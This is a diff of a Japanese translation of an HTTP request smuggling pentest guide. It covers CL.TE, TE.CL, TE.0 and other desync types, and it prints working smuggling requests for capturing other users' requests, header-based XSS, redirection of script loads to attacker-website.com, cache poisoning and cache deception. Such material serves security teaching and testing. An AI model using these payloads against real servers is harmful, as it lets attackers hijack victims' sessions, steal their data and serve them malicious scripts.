**Content-Length**
|
||||||
|
|
||||||
> Content-Lengthエンティティヘッダーは、受信者に送信されるエンティティボディのサイズをバイト単位で示します。
|
> Content-Lengthエンティティヘッダーは、受信者に送信されるエンティティボディのサイズ(バイト単位)を示します。
|
||||||
|
|
||||||
**Transfer-Encoding: chunked**
|
**Transfer-Encoding: chunked**
|
||||||
|
|
||||||
@ -24,30 +24,30 @@
|
|||||||
|
|
||||||
### Reality
|
### Reality
|
||||||
|
|
||||||
**フロントエンド**(ロードバランサー/リバースプロキシ)は_**content-length**_または_**transfer-encoding**_ヘッダーを**処理**し、**バックエンド**サーバーは**他の**ヘッダーを**処理**することで、2つのシステム間に**非同期化**を引き起こします。\
|
**フロントエンド**(ロードバランス/リバースプロキシ)は_**content-length**_または_**transfer-encoding**_ヘッダーを**処理**し、**バックエンド**サーバーは**他の**ヘッダーを**処理**することで、2つのシステム間に**非同期化**を引き起こします。\
|
||||||
これは非常に重大な問題であり、**攻撃者はリバースプロキシに1つのリクエストを送信でき**、それが**バックエンド**サーバーによって**2つの異なるリクエスト**として**解釈されます**。この技術の**危険性**は、**バックエンド**サーバーが**2番目のリクエストを注入されたものとして**解釈し、**そのクライアントの実際のリクエストが**注入されたリクエストの**一部**になることにあります。
|
これは非常に重大な問題であり、**攻撃者はリバースプロキシに1つのリクエストを送信でき、**バックエンド**サーバーはそれを**2つの異なるリクエスト**として**解釈**します。この技術の**危険性**は、**バックエンド**サーバーが**2番目のリクエストを注入されたものとして**解釈し、**そのクライアントの実際のリクエストが**注入されたリクエストの**一部**となることにあります。
|
||||||
|
|
||||||
### Particularities
|
### Particularities
|
||||||
|
|
||||||
HTTPでは**新しい行文字は2バイトで構成されています:**
|
HTTPでは**新しい行文字は2バイトで構成されています:**
|
||||||
|
|
||||||
- **Content-Length**: このヘッダーは、リクエストの**ボディ**の**バイト数**を示すために**10進数**を使用します。ボディは最後の文字で終了することが期待されており、**リクエストの最後に新しい行は必要ありません**。
|
- **Content-Length**: このヘッダーは、リクエストの**ボディ**の**バイト数**を示すために**10進数**の**数値**を使用します。ボディは最後の文字で終了することが期待されており、**リクエストの最後に新しい行は必要ありません**。
|
||||||
- **Transfer-Encoding:** このヘッダーは、**ボディ**内で**16進数**を使用して**次のチャンクのバイト数**を示します。**チャンク**は**新しい行**で**終了**しなければなりませんが、この新しい行は**長さ指標にはカウントされません**。この転送方法は、**サイズ0のチャンクの後に2つの新しい行**で終了しなければなりません:`0`
|
- **Transfer-Encoding:** このヘッダーは、**ボディ**内で**16進数**の**数値**を使用して**次のチャンク**の**バイト数**を示します。**チャンク**は**新しい行**で**終了**しなければなりませんが、この新しい行は**長さ指標**には**カウントされません**。この転送方法は、**サイズ0のチャンクの後に2つの新しい行**で終了しなければなりません:`0`
|
||||||
- **Connection**: 私の経験に基づくと、リクエストスムージングの最初のリクエストでは**`Connection: keep-alive`**を使用することをお勧めします。
|
- **Connection**: 私の経験に基づくと、リクエストスムーギングの最初のリクエストでは**`Connection: keep-alive`**を使用することをお勧めします。
|
||||||
|
|
||||||
## Basic Examples
|
## Basic Examples
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Burp Suiteを使用してこれを悪用しようとする場合は、リピーターで**`Update Content-Length`と`Normalize HTTP/1 line endings`を無効にしてください**。一部のガジェットは新しい行、キャリッジリターン、誤ったContent-Lengthを悪用します。
|
> Burp Suiteを使用してこれを悪用しようとする場合は、リピーターで**`Update Content-Length`と`Normalize HTTP/1 line endings`を無効にしてください**。一部のガジェットは新しい行、キャリッジリターン、誤ったContent-Lengthを悪用します。
|
||||||
|
|
||||||
HTTPリクエストスムージング攻撃は、フロントエンドとバックエンドサーバーが`Content-Length`(CL)および`Transfer-Encoding`(TE)ヘッダーを解釈する際の不一致を利用して、あいまいなリクエストを送信することによって作成されます。これらの攻撃は、主に**CL.TE**、**TE.CL**、および**TE.TE**として異なる形で現れます。各タイプは、フロントエンドとバックエンドサーバーがこれらのヘッダーを優先する方法のユニークな組み合わせを表しています。脆弱性は、サーバーが同じリクエストを異なる方法で処理することから生じ、予期しない、潜在的に悪意のある結果を引き起こします。
|
HTTPリクエストスムーギング攻撃は、フロントエンドとバックエンドサーバーが`Content-Length`(CL)および`Transfer-Encoding`(TE)ヘッダーを解釈する際の不一致を利用して、あいまいなリクエストを送信することによって作成されます。これらの攻撃は、主に**CL.TE**、**TE.CL**、および**TE.TE**として異なる形で現れることがあります。各タイプは、フロントエンドとバックエンドサーバーがこれらのヘッダーを優先する方法のユニークな組み合わせを表しています。脆弱性は、サーバーが同じリクエストを異なる方法で処理することから生じ、予期しない、そして潜在的に悪意のある結果を引き起こします。
|
||||||
|
|
||||||
### Basic Examples of Vulnerability Types
|
### Basic Examples of Vulnerability Types
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> 前の表にはTE.0技術を追加する必要があります。CL.0技術のように、Transfer Encodingを使用します。
|
> 前の表にTE.0技術を追加する必要があります。CL.0技術のように、Transfer Encodingを使用します。
|
||||||
|
|
||||||
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
|
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
|
||||||
|
|
||||||
@ -109,7 +109,7 @@ x=
|
|||||||
|
|
||||||
- 攻撃者は、難読化された`Transfer-Encoding`ヘッダーを持つリクエストを送信します。
|
- 攻撃者は、難読化された`Transfer-Encoding`ヘッダーを持つリクエストを送信します。
|
||||||
- どちらのサーバー(フロントエンドまたはバックエンド)が難読化を認識できないかに応じて、CL.TEまたはTE.CLの脆弱性が悪用される可能性があります。
|
- どちらのサーバー(フロントエンドまたはバックエンド)が難読化を認識できないかに応じて、CL.TEまたはTE.CLの脆弱性が悪用される可能性があります。
|
||||||
- リクエストの未処理部分は、サーバーの1つによって次のリクエストの一部となり、スムージングにつながります。
|
- リクエストの未処理部分は、サーバーの1つによって次のリクエストの一部となり、スムーギングが発生します。
|
||||||
- **例:**
|
- **例:**
|
||||||
|
|
||||||
```
|
```
|
||||||
@ -132,7 +132,7 @@ Transfer-Encoding
|
|||||||
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
|
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
|
||||||
|
|
||||||
- 両方のサーバーは、`Content-Length`ヘッダーのみに基づいてリクエストを処理します。
|
- 両方のサーバーは、`Content-Length`ヘッダーのみに基づいてリクエストを処理します。
|
||||||
- このシナリオは通常、スムージングには至らず、両方のサーバーがリクエストの長さを解釈する方法に整合性があります。
|
- このシナリオは通常、スムーギングには至らず、両方のサーバーがリクエストの長さを解釈する方法に整合性があります。
|
||||||
- **例:**
|
- **例:**
|
||||||
|
|
||||||
```
|
```
|
||||||
@ -147,7 +147,7 @@ Normal Request
|
|||||||
#### **CL.0 Scenario**
|
#### **CL.0 Scenario**
|
||||||
|
|
||||||
- `Content-Length`ヘッダーが存在し、ゼロ以外の値を持つシナリオを指し、リクエストボディにコンテンツがあることを示します。バックエンドは`Content-Length`ヘッダーを無視します(これは0として扱われます)が、フロントエンドはそれを解析します。
|
- `Content-Length`ヘッダーが存在し、ゼロ以外の値を持つシナリオを指し、リクエストボディにコンテンツがあることを示します。バックエンドは`Content-Length`ヘッダーを無視します(これは0として扱われます)が、フロントエンドはそれを解析します。
|
||||||
- これは、サーバーがリクエストの終了を決定する方法に影響を与えるため、スムージング攻撃を理解し、作成する上で重要です。
|
- スムーギング攻撃を理解し、作成する上で重要であり、サーバーがリクエストの終了を決定する方法に影響を与えます。
|
||||||
- **例:**
|
- **例:**
|
||||||
|
|
||||||
```
|
```
|
||||||
@ -161,7 +161,7 @@ Non-Empty Body
|
|||||||
|
|
||||||
#### TE.0 Scenario
|
#### TE.0 Scenario
|
||||||
|
|
||||||
- 前のものと同様ですが、TEを使用します。
|
- 前のものと同様ですが、TEを使用しています。
|
||||||
- 技術は[こちらで報告されています](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)。
|
- 技術は[こちらで報告されています](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)。
|
||||||
- **例:**
|
- **例:**
|
||||||
```
|
```
|
||||||
@ -185,7 +185,7 @@ EMPTY_LINE_HERE
|
|||||||
|
|
||||||
この技術は、**初期のHTTPデータを読み取る際にウェブサーバーを破壊する**ことが可能なシナリオでも有用ですが、**接続を閉じることなく**行います。この方法では、HTTPリクエストの**ボディ**が**次のHTTPリクエスト**として扱われます。
|
この技術は、**初期のHTTPデータを読み取る際にウェブサーバーを破壊する**ことが可能なシナリオでも有用ですが、**接続を閉じることなく**行います。この方法では、HTTPリクエストの**ボディ**が**次のHTTPリクエスト**として扱われます。
|
||||||
|
|
||||||
例えば、[**この書き込み**](https://mizu.re/post/twisty-python)で説明されているように、Werkzeugではいくつかの**Unicode**文字を送信することでサーバーが**破壊**されることが可能でした。しかし、HTTP接続が**`Connection: keep-alive`**ヘッダーで作成された場合、リクエストのボディは読み取られず、接続は依然としてオープンのままとなり、リクエストの**ボディ**は**次のHTTPリクエスト**として扱われます。
|
例えば、[**この書き込み**](https://mizu.re/post/twisty-python)で説明されているように、Werkzeugではいくつかの**Unicode**文字を送信することでサーバーが**破壊**されることが可能でした。しかし、HTTP接続が**`Connection: keep-alive`**ヘッダーで作成された場合、リクエストのボディは読み取られず、接続は依然としてオープンのままとなるため、リクエストの**ボディ**は**次のHTTPリクエスト**として扱われます。
|
||||||
|
|
||||||
#### ホップバイホップヘッダーによる強制
|
#### ホップバイホップヘッダーによる強制
|
||||||
|
|
||||||
@ -201,7 +201,7 @@ Connection: Content-Length
|
|||||||
|
|
||||||
## HTTPリクエストスムージングの発見
|
## HTTPリクエストスムージングの発見
|
||||||
|
|
||||||
HTTPリクエストスムージングの脆弱性を特定するには、サーバーが操作されたリクエストに応答するのにかかる時間を観察するタイミング技術を使用することがよくあります。これらの技術は、特にCL.TEおよびTE.CLの脆弱性を検出するのに役立ちます。これらの方法に加えて、他にも脆弱性を見つけるために使用できる戦略やツールがあります。
|
HTTPリクエストスムージングの脆弱性を特定するには、サーバーが操作されたリクエストに応答するのにかかる時間を観察するタイミング技術を使用することがよくあります。これらの技術は、特にCL.TEおよびTE.CLの脆弱性を検出するのに役立ちます。これらの方法に加えて、他にもこのような脆弱性を見つけるために使用できる戦略やツールがあります。
|
||||||
|
|
||||||
### タイミング技術を使用したCL.TE脆弱性の発見
|
### タイミング技術を使用したCL.TE脆弱性の発見
|
||||||
|
|
||||||
@ -227,8 +227,8 @@ A
|
|||||||
- バックエンドサーバーはチャンクメッセージを期待しており、決して到着しない次のチャンクを待機し、遅延を引き起こします。
|
- バックエンドサーバーはチャンクメッセージを期待しており、決して到着しない次のチャンクを待機し、遅延を引き起こします。
|
||||||
|
|
||||||
- **指標:**
|
- **指標:**
|
||||||
- タイムアウトまたは応答の長い遅延。
|
- タイムアウトや応答の長い遅延。
|
||||||
- バックエンドサーバーから400 Bad Requestエラーを受信することがあり、時には詳細なサーバー情報が含まれます。
|
- バックエンドサーバーからの400 Bad Requestエラーを受信することがあり、時には詳細なサーバー情報が含まれます。
|
||||||
|
|
||||||
### タイミング技術を使用したTE.CL脆弱性の発見
|
### タイミング技術を使用したTE.CL脆弱性の発見
|
||||||
|
|
||||||
@ -265,7 +265,7 @@ X
|
|||||||
|
|
||||||
### HTTPリクエストスムージング脆弱性テスト
|
### HTTPリクエストスムージング脆弱性テスト
|
||||||
|
|
||||||
タイミング技術の効果を確認した後、クライアントリクエストを操作できるかどうかを検証することが重要です。簡単な方法は、リクエストを毒殺することを試みることです。たとえば、`/`へのリクエストが404応答を返すようにします。前述の`CL.TE`および`TE.CL`の例は、クライアントが異なるリソースにアクセスしようとしているにもかかわらず、404応答を引き出すためにクライアントのリクエストを毒殺する方法を示しています。
|
タイミング技術の効果を確認した後、クライアントリクエストを操作できるかどうかを検証することが重要です。簡単な方法は、リクエストを毒することを試みることです。たとえば、`/`へのリクエストが404応答を返すようにします。前述の`CL.TE`および`TE.CL`の例は、クライアントが異なるリソースにアクセスしようとしているにもかかわらず、404応答を引き出すためにクライアントのリクエストをどのように毒するかを示しています。
|
||||||
|
|
||||||
**重要な考慮事項**
|
**重要な考慮事項**
|
||||||
|
|
||||||
@ -273,7 +273,7 @@ X
|
|||||||
|
|
||||||
- **異なるネットワーク接続:** 「攻撃」と「正常」リクエストは、別々のネットワーク接続を介して送信する必要があります。両方のリクエストに同じ接続を使用することは、脆弱性の存在を検証しません。
|
- **異なるネットワーク接続:** 「攻撃」と「正常」リクエストは、別々のネットワーク接続を介して送信する必要があります。両方のリクエストに同じ接続を使用することは、脆弱性の存在を検証しません。
|
||||||
- **一貫したURLとパラメータ:** 両方のリクエストに対して同一のURLとパラメータ名を使用することを目指してください。現代のアプリケーションは、URLとパラメータに基づいてリクエストを特定のバックエンドサーバーにルーティングすることがよくあります。これらを一致させることで、両方のリクエストが同じサーバーによって処理される可能性が高まります。これは成功する攻撃の前提条件です。
|
- **一貫したURLとパラメータ:** 両方のリクエストに対して同一のURLとパラメータ名を使用することを目指してください。現代のアプリケーションは、URLとパラメータに基づいてリクエストを特定のバックエンドサーバーにルーティングすることがよくあります。これらを一致させることで、両方のリクエストが同じサーバーによって処理される可能性が高まります。これは成功する攻撃の前提条件です。
|
||||||
- **タイミングとレース条件:** 「正常」リクエストは、「攻撃」リクエストからの干渉を検出するために設計されており、他の同時アプリケーションリクエストと競合します。したがって、「攻撃」リクエストの直後に「正常」リクエストを送信してください。忙しいアプリケーションでは、決定的な脆弱性確認のために複数の試行が必要になる場合があります。
|
- **タイミングとレース条件:** 「正常」リクエストは、「攻撃」リクエストからの干渉を検出するために設計されており、他の同時アプリケーションリクエストと競合します。したがって、「攻撃」リクエストの直後に「正常」リクエストを送信してください。忙しいアプリケーションでは、脆弱性の確認のために複数の試行が必要になる場合があります。
|
||||||
- **負荷分散の課題:** フロントエンドサーバーが負荷分散装置として機能する場合、リクエストをさまざまなバックエンドシステムに分配することがあります。「攻撃」と「正常」リクエストが異なるシステムに到達した場合、攻撃は成功しません。この負荷分散の側面は、脆弱性を確認するためにいくつかの試行を必要とする場合があります。
|
- **負荷分散の課題:** フロントエンドサーバーが負荷分散装置として機能する場合、リクエストをさまざまなバックエンドシステムに分配することがあります。「攻撃」と「正常」リクエストが異なるシステムに到達した場合、攻撃は成功しません。この負荷分散の側面は、脆弱性を確認するためにいくつかの試行を必要とする場合があります。
|
||||||
- **意図しないユーザーへの影響:** あなたの攻撃が他のユーザーのリクエスト(検出のために送信した「正常」リクエストではない)に偶然影響を与える場合、これはあなたの攻撃が他のアプリケーションユーザーに影響を与えたことを示します。継続的なテストは他のユーザーを混乱させる可能性があるため、慎重なアプローチが必要です。
|
- **意図しないユーザーへの影響:** あなたの攻撃が他のユーザーのリクエスト(検出のために送信した「正常」リクエストではない)に偶然影響を与える場合、これはあなたの攻撃が他のアプリケーションユーザーに影響を与えたことを示します。継続的なテストは他のユーザーを混乱させる可能性があるため、慎重なアプローチが必要です。
|
||||||
|
|
||||||
@ -377,7 +377,7 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
|
|||||||
```
|
```
|
||||||
このシナリオでは、**comment parameter**は公開アクセス可能なページの投稿のコメントセクション内の内容を保存することを目的としています。その結果、次のリクエストの内容はコメントとして表示されます。
|
このシナリオでは、**comment parameter**は公開アクセス可能なページの投稿のコメントセクション内の内容を保存することを目的としています。その結果、次のリクエストの内容はコメントとして表示されます。
|
||||||
|
|
||||||
しかし、この技術には制限があります。一般的に、これはスムーズにリクエストで使用されるパラメータ区切り文字までのデータしかキャプチャしません。URLエンコードされたフォーム送信の場合、この区切り文字は`&`文字です。これは、被害者ユーザーのリクエストからキャプチャされた内容が最初の`&`で停止することを意味し、これはクエリ文字列の一部である可能性さえあります。
|
しかし、この技術には制限があります。一般的に、これはスムーズにリクエストで使用されるパラメータ区切り文字までのデータしかキャプチャしません。URLエンコードされたフォーム送信の場合、この区切り文字は`&`文字です。これは、被害者ユーザーのリクエストからキャプチャされた内容が最初の`&`で止まることを意味し、これはクエリ文字列の一部である可能性さえあります。
|
||||||
|
|
||||||
さらに、このアプローチはTE.CL脆弱性でも有効であることに注意する価値があります。その場合、リクエストは`search=\r\n0`で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。
|
さらに、このアプローチはTE.CL脆弱性でも有効であることに注意する価値があります。その場合、リクエストは`search=\r\n0`で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。
|
||||||
|
|
||||||
@ -386,9 +386,9 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
|
|||||||
HTTP Request Smugglingは、**Reflected XSS**に脆弱なウェブページを悪用するために利用でき、重要な利点を提供します:
|
HTTP Request Smugglingは、**Reflected XSS**に脆弱なウェブページを悪用するために利用でき、重要な利点を提供します:
|
||||||
|
|
||||||
- 対象ユーザーとの**対話は不要**です。
|
- 対象ユーザーとの**対話は不要**です。
|
||||||
- 通常は**アクセスできない**リクエストの一部、例えばHTTPリクエストヘッダーでXSSを悪用することができます。
|
- HTTPリクエストヘッダーのような**通常は到達不可能な**リクエストの一部でXSSを悪用することができます。
|
||||||
|
|
||||||
ウェブサイトがUser-Agentヘッダーを通じて反射型XSSに対して脆弱な場合、以下のペイロードはこの脆弱性を悪用する方法を示しています:
|
ウェブサイトがUser-Agentヘッダーを介して反射型XSSに対して脆弱な場合、以下のペイロードはこの脆弱性を悪用する方法を示しています:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||||
@ -411,24 +411,24 @@ A=
|
|||||||
```
|
```
|
||||||
このペイロードは、脆弱性を悪用するために構成されています:
|
このペイロードは、脆弱性を悪用するために構成されています:
|
||||||
|
|
||||||
1. `Transfer-Encoding: chunked` ヘッダーを使用して、密輸の開始を示す、見た目には典型的な `POST` リクエストを開始します。
|
1. `Transfer-Encoding: chunked` ヘッダーを持つ、見た目には典型的な `POST` リクエストを開始し、スムーグリングの開始を示します。
|
||||||
2. 次に、チャンクメッセージボディの終わりを示す `0` が続きます。
|
2. 次に `0` を続け、チャンク化されたメッセージボディの終わりを示します。
|
||||||
3. その後、密輸された `GET` リクエストが導入され、`User-Agent` ヘッダーにスクリプト `<script>alert(1)</script>` が注入され、サーバーがこの後続のリクエストを処理する際に XSS がトリガーされます。
|
3. その後、スムーグルされた `GET` リクエストが導入され、`User-Agent` ヘッダーにスクリプト `<script>alert(1)</script>` が注入され、サーバーがこの後続のリクエストを処理する際に XSS がトリガーされます。
|
||||||
|
|
||||||
`User-Agent` を密輸によって操作することで、ペイロードは通常のリクエスト制約を回避し、非標準だが効果的な方法で反射型 XSS 脆弱性を悪用します。
|
スムーグリングを通じて `User-Agent` を操作することで、ペイロードは通常のリクエスト制約を回避し、非標準だが効果的な方法で反射型 XSS 脆弱性を悪用します。
|
||||||
|
|
||||||
#### HTTP/0.9
|
#### HTTP/0.9
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> ユーザーコンテンツが **`Content-type`** が **`text/plain`** のレスポンスに反映される場合、XSS の実行が防止されます。サーバーが **HTTP/0.9** をサポートしている場合、これを回避できる可能性があります!
|
> ユーザーコンテンツが **`Content-type`** が **`text/plain`** のレスポンスに反映される場合、XSS の実行が防止されます。サーバーが **HTTP/0.9** をサポートしている場合、これを回避できる可能性があります!
|
||||||
|
|
||||||
HTTP/0.9 バージョンは 1.0 の前のもので、**GET** 動詞のみを使用し、**ヘッダー** ではなく、ボディのみで応答します。
|
HTTP/0.9 バージョンは 1.0 の前のもので、**GET** 動詞のみを使用し、**ヘッダー** ではなくボディのみで応答します。
|
||||||
|
|
||||||
[**この書き込み**](https://mizu.re/post/twisty-python) では、リクエスト密輸と **ユーザーの入力に応じて応答する脆弱なエンドポイント** を使用して、HTTP/0.9 でリクエストを密輸することが悪用されました。レスポンスに反映されるパラメータには **偽の HTTP/1.1 レスポンス(ヘッダーとボディを含む)** が含まれており、レスポンスには `Content-Type` が `text/html` の有効な実行可能な JS コードが含まれます。
|
[**この書き込み**](https://mizu.re/post/twisty-python) では、リクエストスムーグリングと **ユーザーの入力に応じて応答する脆弱なエンドポイント** を使用して、HTTP/0.9 でリクエストをスムーグルすることが悪用されました。レスポンスに反映されるパラメータには **偽の HTTP/1.1 レスポンス(ヘッダーとボディを含む)** が含まれており、レスポンスには `Content-Type` が `text/html` の有効な実行可能な JS コードが含まれます。
|
||||||
|
|
||||||
### HTTP リクエスト密輸を使用したオンサイトリダイレクトの悪用 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
### HTTP リクエストスムーグリングを使用したオンサイトリダイレクトの悪用 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||||
|
|
||||||
アプリケーションは、リダイレクト URL の `Host` ヘッダーからホスト名を使用して、ある URL から別の URL にリダイレクトすることがよくあります。これは、Apache や IIS のようなウェブサーバーで一般的です。たとえば、末尾にスラッシュがないフォルダーをリクエストすると、スラッシュを含めるようにリダイレクトされます:
|
アプリケーションは、リダイレクト URL の `Host` ヘッダーからホスト名を使用して、ある URL から別の URL にリダイレクトすることがよくあります。これは、Apache や IIS のようなウェブサーバーで一般的です。たとえば、末尾にスラッシュがないフォルダーをリクエストすると、スラッシュを含めるためにリダイレクトされます:
|
||||||
```
|
```
|
||||||
GET /home HTTP/1.1
|
GET /home HTTP/1.1
|
||||||
Host: normal-website.com
|
Host: normal-website.com
|
||||||
@ -464,17 +464,17 @@ Host: vulnerable-website.com
|
|||||||
HTTP/1.1 301 Moved Permanently
|
HTTP/1.1 301 Moved Permanently
|
||||||
Location: https://attacker-website.com/home/
|
Location: https://attacker-website.com/home/
|
||||||
```
|
```
|
||||||
このシナリオでは、ユーザーのJavaScriptファイルへのリクエストがハイジャックされます。攻撃者は、悪意のあるJavaScriptを応答として提供することで、ユーザーを危険にさらす可能性があります。
|
このシナリオでは、ユーザーのJavaScriptファイルへのリクエストがハイジャックされます。攻撃者は、応答として悪意のあるJavaScriptを提供することで、ユーザーを危険にさらす可能性があります。
|
||||||
|
|
||||||
### HTTPリクエストスムージングを介したWebキャッシュポイズニングの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
### HTTPリクエストスムージングを介したウェブキャッシュポイズニングの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
Webキャッシュポイズニングは、**フロントエンドインフラストラクチャがコンテンツをキャッシュする**任意のコンポーネントがある場合に実行できます。通常、これはパフォーマンスを向上させるためです。サーバーの応答を操作することで、**キャッシュをポイズン**することが可能です。
|
ウェブキャッシュポイズニングは、**フロントエンドインフラストラクチャの任意のコンポーネントがコンテンツをキャッシュする**場合に実行できます。通常、これはパフォーマンスを向上させるためです。サーバーの応答を操作することで、**キャッシュをポイズン**することが可能です。
|
||||||
|
|
||||||
以前、サーバーの応答を変更して404エラーを返す方法を観察しました([基本的な例](./#basic-examples)を参照)。同様に、サーバーを騙して`/static/include.js`へのリクエストに対して`/index.html`のコンテンツを提供させることも可能です。その結果、`/static/include.js`のコンテンツはキャッシュ内で`/index.html`のものに置き換えられ、ユーザーが`/static/include.js`にアクセスできなくなり、サービス拒否(DoS)につながる可能性があります。
|
以前、サーバーの応答を変更して404エラーを返す方法を観察しました([Basic Examples](./#basic-examples)を参照)。同様に、サーバーを騙して`/static/include.js`へのリクエストに対して`/index.html`のコンテンツを提供させることも可能です。その結果、`/static/include.js`のコンテンツはキャッシュ内で`/index.html`のものに置き換えられ、ユーザーは`/static/include.js`にアクセスできなくなり、最終的にはサービス拒否(DoS)につながる可能性があります。
|
||||||
|
|
||||||
この技術は、**オープンリダイレクトの脆弱性**が発見された場合や、**オープンリダイレクトへのオンサイトリダイレクト**がある場合に特に強力になります。このような脆弱性を悪用して、攻撃者の制御下にあるスクリプトで`/static/include.js`のキャッシュコンテンツを置き換えることができ、実質的にすべてのクライアントに対して広範なクロスサイトスクリプティング(XSS)攻撃を可能にします。
|
この技術は、**オープンリダイレクトの脆弱性**が発見された場合や、**オープンリダイレクトへのサイト内リダイレクト**がある場合に特に強力になります。このような脆弱性を利用して、攻撃者の制御下にあるスクリプトで`/static/include.js`のキャッシュコンテンツを置き換えることができ、実質的にすべてのクライアントに対して広範なクロスサイトスクリプティング(XSS)攻撃を可能にします。
|
||||||
|
|
||||||
以下は、**キャッシュポイズニングとオープンリダイレクトへのオンサイトリダイレクトを組み合わせた悪用**の例です。目的は、攻撃者が制御するJavaScriptコードを提供するために`/static/include.js`のキャッシュコンテンツを変更することです:
|
以下は、**キャッシュポイズニングとオープンリダイレクトへのサイト内リダイレクトの組み合わせを悪用する**例です。目的は、攻撃者が制御するJavaScriptコードを提供するために`/static/include.js`のキャッシュコンテンツを変更することです:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: vulnerable.net
|
Host: vulnerable.net
|
||||||
@ -492,7 +492,7 @@ Content-Length: 10
|
|||||||
|
|
||||||
x=1
|
x=1
|
||||||
```
|
```
|
||||||
埋め込まれたリクエストが `/post/next?postId=3` をターゲットにしていることに注意してください。このリクエストは `/post?postId=4` にリダイレクトされ、**Host ヘッダーの値**を利用してドメインを決定します。**Host ヘッダー**を変更することで、攻撃者はリクエストを自分のドメインにリダイレクトできます(**オンサイトリダイレクトからオープンリダイレクト**)。
|
埋め込まれたリクエストが `/post/next?postId=3` をターゲットにしていることに注意してください。このリクエストは `/post?postId=4` にリダイレクトされ、**Host ヘッダーの値**を使用してドメインを決定します。**Host ヘッダー**を変更することで、攻撃者はリクエストを自分のドメインにリダイレクトできます(**オンサイトリダイレクトからオープンリダイレクト**)。
|
||||||
|
|
||||||
成功した**ソケットポイズニング**の後、`/static/include.js` に対する**GETリクエスト**を開始する必要があります。このリクエストは、以前の**オンサイトリダイレクトからオープンリダイレクト**リクエストによって汚染され、攻撃者が制御するスクリプトの内容を取得します。
|
成功した**ソケットポイズニング**の後、`/static/include.js` に対する**GETリクエスト**を開始する必要があります。このリクエストは、以前の**オンサイトリダイレクトからオープンリダイレクト**リクエストによって汚染され、攻撃者が制御するスクリプトの内容を取得します。
|
||||||
|
|
||||||
@ -516,11 +516,11 @@ x=1
|
|||||||
`GET /private/messages HTTP/1.1`\
|
`GET /private/messages HTTP/1.1`\
|
||||||
`Foo: X`
|
`Foo: X`
|
||||||
```
|
```
|
||||||
このスムグルされたリクエストが静的コンテンツ(例:`/someimage.png`)用のキャッシュエントリを汚染すると、犠牲者の`/private/messages`からの機密データが静的コンテンツのキャッシュエントリの下にキャッシュされる可能性があります。その結果、攻撃者はこれらのキャッシュされた機密データを取得できるかもしれません。
|
もしこのスムグルされたリクエストが静的コンテンツ(例:`/someimage.png`)を対象としたキャッシュエントリを汚染する場合、被害者の`/private/messages`からの機密データが静的コンテンツのキャッシュエントリの下にキャッシュされる可能性があります。その結果、攻撃者はこれらのキャッシュされた機密データを取得できるかもしれません。
|
||||||
|
|
||||||
### HTTPリクエストスムグリングを利用したTRACEの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
### HTTPリクエストスムグリングを利用したTRACEの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
[**この投稿**](https://portswigger.net/research/trace-desync-attack)では、サーバーにTRACEメソッドが有効になっている場合、HTTPリクエストスムグリングを利用することが可能であると提案されています。これは、このメソッドがサーバーに送信された任意のヘッダーをレスポンスのボディの一部として反映するためです。例えば:
|
[**この投稿**](https://portswigger.net/research/trace-desync-attack)では、サーバーにTRACEメソッドが有効になっている場合、HTTPリクエストスムグリングを利用して悪用できる可能性があると示唆されています。これは、このメソッドがサーバーに送信された任意のヘッダーをレスポンスのボディの一部として反映するためです。例えば:
|
||||||
```
|
```
|
||||||
TRACE / HTTP/1.1
|
TRACE / HTTP/1.1
|
||||||
Host: example.com
|
Host: example.com
|
||||||
@ -537,13 +537,13 @@ Host: vulnerable.com
|
|||||||
XSS: <script>alert("TRACE")</script>
|
XSS: <script>alert("TRACE")</script>
|
||||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||||
```
|
```
|
||||||
この動作を悪用する例としては、**最初にHEADリクエストをスムグル**ことが挙げられます。このリクエストには、GETリクエストの**ヘッダー**のみが応答されます(**`Content-Type`**を含む)。そして、**HEADの後にすぐにTRACEリクエストをスムグル**し、送信されたデータを**反映させる**ことができます。\
|
この動作を悪用する例としては、**最初にHEADリクエストをスムグル**ことが挙げられます。このリクエストには、GETリクエストの**ヘッダー**のみが応答されます(その中には**`Content-Type`**も含まれます)。そして、**HEADの後にすぐにTRACEリクエストをスムグル**し、送信されたデータを**反映させる**ことができます。\
|
||||||
